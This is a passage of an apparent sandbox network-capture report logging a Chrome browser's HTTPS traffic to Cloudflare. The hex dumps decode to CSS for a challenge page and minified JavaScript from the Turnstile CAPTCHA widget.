referrer-policy: same-origin document-policy: js-profiling
2024-11-26 05:39:43 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 38 37 38 61 32 34 37 63 36 35 35 65 37 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8e878a247c655e79-EWRalt-svc: h3=":443"; ma=86400
2024-11-26 05:39:43 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49730	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:43 UTC	383	OUT	GET /turnstile/v0/g/e4025c85ea63/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:43 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:43 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Tue, 19 Nov 2024 14:16:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e878a24c99118ea-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 Data Ascii: nonexistent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f Data Ascii: oto__\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")thro
2024-11-26 05:39:43 UTC	1369	IN	Data Raw: 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 Data Ascii: nt)&&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var
